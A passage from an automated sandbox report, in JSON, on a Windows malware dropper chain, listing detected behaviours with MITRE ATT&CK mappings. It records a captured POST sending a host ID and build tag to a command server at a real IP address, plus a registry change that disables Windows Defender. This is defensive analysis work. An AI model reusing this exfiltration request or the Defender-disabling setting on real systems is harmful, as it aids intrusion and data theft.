Call","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$36","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"193.233.255.73:80\"","id":"network-1","level":"informative","mitre_attack_id":"T1071","name":"Contacts server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"LoadLibraryExW@KERNEL32.dll at 35846-3079-0049106E","id":"stream-108","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to dynamically load libraries","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$37","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","id":"network-54","level":"informative","mitre_attack_id":"T1573","name":"Making HTTPS connections using secure TLS/SSL version","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$38","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Contains ability to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1\" (SID: 2018358, Rev: 10, Severity: 2) categorized as \"Potentially Bad Traffic\"","id":"suricata-1","level":"suspicious","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"file\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-345","level":"informative","mitre_attack_id":"T1112","name":"Contains ability to disable/close registry key (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" in Source: file\n \"DSystem\\CurrentControlSet\\Control\\Session Manager\" in Source: file\n \"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\" in Source: file\n \"System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations\" in Source: file\n \"System\\CurrentControlSet\\Control\\Session Manager\" in Source: 18054-17-0040256D\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" in Source: 00000000-00005824.00000000.68203.01341000.00000020.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\" in Source: 00000000-00006500.00000000.68014.00E71000.00000020.mdmp","id":"string-120","level":"informative","mitre_attack_id":"T1012","name":"Contains registry location strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$39","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"AppLaunch.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"file\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-131","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"POST /loghub/master HTTP/1.1\nContent-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGY\nContent-Length: 213\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)\nHost: 193.233.255.73\nConnection: Keep-Alive\nCache-Control: no-cache\" with payload::==> \"--4JJ9sCTMuDprKh96taGY\nContent-Disposition: form-data; name=\"hwid\"\n\nRjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==\n--4JJ9sCTMuDprKh96taGY\nContent-Disposition: form-data; name=\"build\"\n\nbW9yZGE=\n--4JJ9sCTMuDprKh96taGY--\" HTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Sun\n 29 Oct 2023 07:19:42 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 8\nConnection: keep-alive\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nReferrer-Policy: same-origin with response body ==>.......","id":"network-4","level":"suspicious","mitre_attack_id":"T1041","name":"POSTs data to a webserver","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"\"AppLaunch.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","id":"registry-9","level":"suspicious","mitre_attack_id":"T1012","name":"Checks warning level of secure to non-secure traffic redirection","origin":"Registry Access","relevance":7,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Found reference to API \"DecryptFileA\" (Indicator: \"DecryptFile\"; File: \"file\")","id":"string-438","level":"informative","mitre_attack_id":"T1027","name":"Contains ability to perform AES/RC4 encryption (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3a","id":"string-89","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about the current system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$3b","id":"string-101","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute Windows APIs","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file\" has an writable section named \".data\"\n \"tX4Xf64.exe\" has an writable section named \".data\"\n \"yh9Qx09.exe\" has an writable section named \".data\"\n \"4Tx380er.exe\" has an writable section named \".data\"\n \"4Tx380er.exe\" has an writable section named \".777777\"\n \"2Zz0679.exe\" has an writable section named \".data\"\n \"2Zz0679.exe\" has an writable section named \".777777\"\n \"mu6rE08.exe\" has an writable section named \".data\"\n \"1BU76bP5.exe\" has an writable section named \".data\"\n \"1BU76bP5.exe\" has an writable section named \".777777\"\n \"Lb2xB02.exe\" has an writable section named \".data\"\n \"nk2xW14.exe\" has an writable section named \".data\"\n \"5ur9cS3.exe\" has an writable section named \".data\"\n \"6Pp6Px0.exe\" has an writable section named \".data\"\n \"7ho9Fx74.exe\" has an writable section named \".data\"\n \"3Ix70mE.exe\" has an writable section named \".text\"","id":"static-95","level":"informative","name":"PE file contains writable sections","origin":"Static Parser","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"AppLaunch.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$3c","id":"target-58","level":"malicious","mitre_attack_id":"T1204.002","name":"The analysis spawned a process that was identified as malicious","origin":"Monitored Target","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$3d","id":"api-222","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve OS information","origin":"API Call","relevance":2,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"$3e","id":"api-140","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to find a resource in a module","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; File: \"file\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-92","level":"informative","mitre_attack_id":"T1055","name":"Contains ability to inject code into another process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; File: \"file\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetDiskFreeSpaceA\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-193","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to query volume/memory size (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\IXP000.TMP\\tX4Xf64.exe\"","id":"api-267","level":"informative","mitre_attack_id":"T1005","name":"Writes files in a temp directory","origin":"API Call","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Makes a code branch decision directly after an API that is environment aware\n Matched sigs: Contains ability to detect virtual environment (API)\n Matched sigs: Contains ability to delay the execution of current thread","id":"summary-29","level":"informative","mitre_attack_id":"T1480","name":"Shows ability to use execution guardrails","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"Found http requests in header \"POST /loghub/master\"","id":"network-62","level":"informative","mitre_attack_id":"T1071.001","name":"Communicates with HTTP webserver (GET/POST requests)","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$3f","id":"binary-33","level":"informative","mitre_attack_id":"T1105","name":"Drops executable files inside temp directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"file\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"6Pp6Px0.exe.125725185\")","id":"string-183","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to check debugger is running (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"AppLaunch.exe\" called \"IsWow64Process\" with parameter \"7048\" - (UID: 00000000-00007048)","id":"api-146","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used to determine if process is running under WOW64","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP000.TMP (UID: 00000000-00007720)\n \"tX4Xf64.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP001.TMP (UID: 00000000-00006500)\n \"yh9Qx09.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP002.TMP (UID: 00000000-00007164)\n \"mu6rE08.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP003.TMP (UID: 00000000-00006672)\n \"Lb2xB02.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP004.TMP (UID: 00000000-00007144)\n \"nk2xW14.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\IXP005.TMP (UID: 00000000-00005824)","id":"api-122","level":"informative","mitre_attack_id":"T1074.001","name":"Calls an API typically used to create a directory","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$40","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"file\" was detected as \"Microsoft visual C++ 8\"\n \"tX4Xf64.exe\" was detected as \"Microsoft visual C++ 8\"\n \"yh9Qx09.exe\" was detected as \"Microsoft visual C++ 8\"\n \"4Tx380er.exe\" was detected as \"Microsoft visual C++ 8.0\"\n \"2Zz0679.exe\" was detected as \"Microsoft visual C++ 8.0\"\n \"mu6rE08.exe\" was detected as \"Microsoft visual C++ 8\"\n \"1BU76bP5.exe\" was detected as \"Microsoft visual C++ 8.0\"\n \"Lb2xB02.exe\" was detected as \"Microsoft visual C++ 8\"\n \"nk2xW14.exe\" was detected as \"Microsoft visual C++ 8\"\n \"5ur9cS3.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"6Pp6Px0.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"7ho9Fx74.exe\" was detected as \"PureBasic 4.x -> Neil Hodgson\"\n \"3Ix70mE.exe\" was detected as \"Safeguard v1.03 -> Simonzh\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$41","id":"binary-11","level":"malicious","mitre_attack_id":"T1204.002","name":"The analysis extracted a file that was identified as malicious","origin":"Binary File","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"AppLaunch.exe\" queries volume information of \"C:\\\" at 00000000-00005520-00000C15-62698610","id":"api-39","level":"informative","mitre_attack_id":"T1082","name":"Queries volume information of an entire harddrive","origin":"API Call","relevance":8,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$42","id":"module-9","level":"informative","mitre_attack_id":"T1027","name":"Loads the Bcrypt module DLL","origin":"Loaded Module","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"file\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"tX4Xf64.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"yh9Qx09.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"4Tx380er.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"2Zz0679.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"mu6rE08.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"1BU76bP5.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"Lb2xB02.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"nk2xW14.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"5ur9cS3.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"6Pp6Px0.exe\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","id":"static-146","level":"informative","name":"PE file contains Debug data directory","origin":"Static Parser","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"\"193.233.255.73\"","id":"string-14","level":"informative","mitre_attack_id":"T1071","name":"Found potential IP address in binary/memory","origin":"File/Memory","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"file\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$43","id":"string-121","level":"informative","mitre_attack_id":"T1033","name":"Contains ability to retrieve usernames and/or user information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$44","id":"string-426","level":"informative","mitre_attack_id":"T1222","name":"Contains ability to modify file attributes (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$45","id":"api-43","level":"suspicious","mitre_attack_id":"T1105","name":"Writes a PE file header to disc","origin":"API Call","relevance":10,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$46","id":"api-102","level":"informative","mitre_attack_id":"T1083","name":"Calls an API's typically used for searching a directory for a files","origin":"API Call","relevance":5,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"file\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 4Tx380er.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 2Zz0679.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 1BU76bP5.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 5ur9cS3.exe]\n Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: 6Pp6Px0.exe]","id":"static-88","level":"informative","mitre_attack_id":"T1106","name":"Imports GetCommandLine API","origin":"Static Parser","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"Local\\SM0:5520:168:WilStaging_02\"\n \"SM0:5520:64:WilError_01\"","id":"mutant-0","level":"informative","name":"Creates mutants","origin":"Created Mutant","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$47","id":"static-157","level":"informative","mitre_attack_id":"T1027","name":"Matched Compiler/Packer signature (DIE)","origin":"Static Parser","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Network Related","description":"\"AppLaunch.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /loghub/master\" - (UID: 00000000-00005520)","id":"api-143","level":"informative","mitre_attack_id":"T1071","name":"Calls an API typically used to create a new HTTP request","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"AppLaunch.exe\" called \"GetUserNameA\" (UID: 00000000-00007048)","id":"api-135","level":"informative","mitre_attack_id":"T1033","name":"Calls an API typically used to retrieve user name","origin":"API Call","relevance":2,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"file\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-534","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to read files (API string)","origin":"File/Memory","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$48","id":"static-1","level":"suspicious","mitre_attack_id":"T1106","name":"Imports suspicious APIs","origin":"Static Parser","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Ransomware/Banking","description":"\"AppLaunch.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS DEFENDER\"; Key: \"DISABLEANTISPYWARE\"; Value: \"01000000\")","id":"registry-76","level":"malicious","mitre_attack_id":"T1562.001","name":"Tries to disable Windows defender Anti Spyware","origin":"Registry Access","relevance":7,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$49","id":"network-60","level":"informative","mitre_attack_id":"T1132","name":"HTTP requests contain Base64 strings","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetSystemTimeAsFileTime@KERNEL32.dll at 35846-3071-00491567\n GetSystemTimeAsFileTime@KERNEL32.dll at 52779-7460-004432D8\n GetSystemTimeAsFileTime@KERNEL32.dll at 52779-5773-004022CA","id":"stream-71","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to query local/system time as file time","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; File: \"file\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00005824.00000000.68203.0134A000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006500.00000001.69934.00E7A000.00000002.mdmp\")\n Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"00000000-00006672.00000000.68102.010DA000.00000002.mdmp\")","id":"string-423","level":"informative","mitre_attack_id":"T1074.001","name":"Contains ability to create directories (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"AppLaunch.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 724D0000","id":"module-7","level":"informative","mitre_attack_id":"T1620","name":"Loads the CLR Loader DLL","origin":"Loaded Module","sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"AppLaunch.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005520)","id":"api-85","level":"informative","mitre_attack_id":"T1055.004","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$4a","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"7ho9Fx74.exe.421254636\")\n Found reference to API \"1445140643,6224,3024,,RtlGetVersion,NTDLL.dll,\"00:17:39.859\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp\")","id":"string-86","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve information about operating system (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$4b","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Contains base64 encoded string \"RjBDNTM3MEU4MTZFMjM5NzcxMTk0Ng==\" in [Source : PCAP]","id":"string-504","level":"informative","mitre_attack_id":"T1132","name":"PCAP contains base64 strings","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"6Pp6Px0.exe.125725185\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"6Pp6Px0.exe.125725185\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"$4c","id":"string-272","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve/open a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"Raw size of \".rsrc\" is \"0x182600\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x15f400\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x12e400\" greater than 0x100000\n Raw size of \".rsrc\" is \"0x100800\" greater than 0x100000","id":"static-125","level":"informative","name":"PE file has a big raw size section","origin":"Static Parser","relevance":3,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"System Security","description":"$4d","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"653e0369fc7ec753250ee4b0","report_type":"sandbox"}]},{"category":"General","description":"\"3Ix70mE.exe\" has no 